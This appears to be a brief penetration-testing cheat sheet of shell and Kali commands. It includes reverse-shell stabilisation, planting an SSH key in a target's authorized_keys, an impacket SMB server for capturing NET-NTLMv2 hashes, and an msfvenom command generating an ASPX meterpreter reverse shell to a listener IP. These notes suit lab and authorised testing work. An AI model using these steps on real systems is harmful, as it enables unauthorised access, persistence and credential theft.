Random Tips and Tricks
To stabilize a bash shell:
script /dev/null -c /bin/bash
CTRL + Z
stty raw -echo; fg
Then press enter twice
export TERM=xterm
Adding an SSH key to a box:
On Kali, generate a key:
ssh-keygen -t rsa
Next, copy the public key over to the users /home/.ssh/authorized_keys file
Then, simply ssh in using the private key:
ssh -i <key name> username@host
Cleaning an SSH key:
Sometimes you may need to copy and paste an SSH key, and it's supposed to work... but it's not. You may need to remove bad chars and clean it up:
chmod 600 id_rsa
dos2unix id_rsa
vi --clean id_rsa
inside vi: (esc) + wq
ssh -i id_rsa username@host
Serving an SMB server with impacket:
impacket-smbserver evil ./ -smb2support
It’s good practice to use the smb2support flag. If you see a connection come through that doesn’t provide a NET-NTLMv2 it could be because you set up the smb server without smb2 support.
Setting up python virtual environments:
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt (replace with whatever command is needed to install whatever it is your doing)
Call tools globally on linux regardless of user:
Move the tools to:
/usr/local/bin
Generic usage of msfvenom:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.45.245 LPORT=4444 -f aspx -o shell.aspx